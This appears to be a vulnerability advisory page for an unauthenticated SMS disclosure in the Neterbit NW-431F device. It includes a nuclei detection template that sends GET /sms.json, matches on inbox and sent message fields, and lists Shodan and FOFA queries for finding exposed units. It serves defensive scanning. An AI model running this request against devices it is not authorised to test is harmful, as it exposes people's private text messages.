Neterbit NW-431F - Unauthenticated SMS Disclosure

mediumseverity

5.3CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Neterbit NW-431F 20250715 contains an information disclosure vulnerability caused by manipulation in /sms.json of the Embedded Web Server, letting remote attackers access sensitive information, exploit requires no special conditions.

Impact

Remote attackers can disclose sensitive information, potentially compromising confidentiality.

Fix

Update to the latest version or apply vendor patches when available.

How to confirm it

Send: GET /sms.json
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "\"list\"", "\"inbox\"", "\"sent\"") and contains_all(body, "\"mms_index\"", "\"sender\"", "\"content\"")

Run it with nuclei: nuclei -id CVE-2026-108578 -u <target>

The full check

id: CVE-2026-108578

info:
  name: Neterbit NW-431F - Unauthenticated SMS Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    Neterbit NW-431F 20250715 contains an information disclosure vulnerability caused by manipulation in /sms.json of the Embedded Web Server, letting remote attackers access sensitive information, exploit requires no special conditions.
  impact: |
    Remote attackers can disclose sensitive information, potentially compromising confidentiality.
  remediation: |
    Update to the latest version or apply vendor patches when available.
  reference:
    - https://github.com/KernelDotDLL/CVE-2026-108578
    - https://vuldb.com/vuln/416235
    - https://www.cve.org/CVERecord?id=CVE-2026-108578
    - https://nvd.nist.gov/vuln/detail/CVE-2026-108578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-108578
    epss-score: 0.01467
    epss-percentile: 0.73923
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    vendor: neterbit
    product: nw-431f
    shodan-query: http.title:"Neterbit NW-431F"
    fofa-query: title="Neterbit NW-431F"
  tags: cve,cve2026,neterbit,nw-431f,exposure,sms,iot,unauth

http:
  - raw:
      - |
        GET /sms.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"list\"", "\"inbox\"", "\"sent\"")'
          - 'contains_all(body, "\"mms_index\"", "\"sender\"", "\"content\"")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"messages disclosed: " + to_string(len(split(body, "\"mms_index\"")) - 1)'

References

Use this check only on systems you are authorised to test. Where the data comes from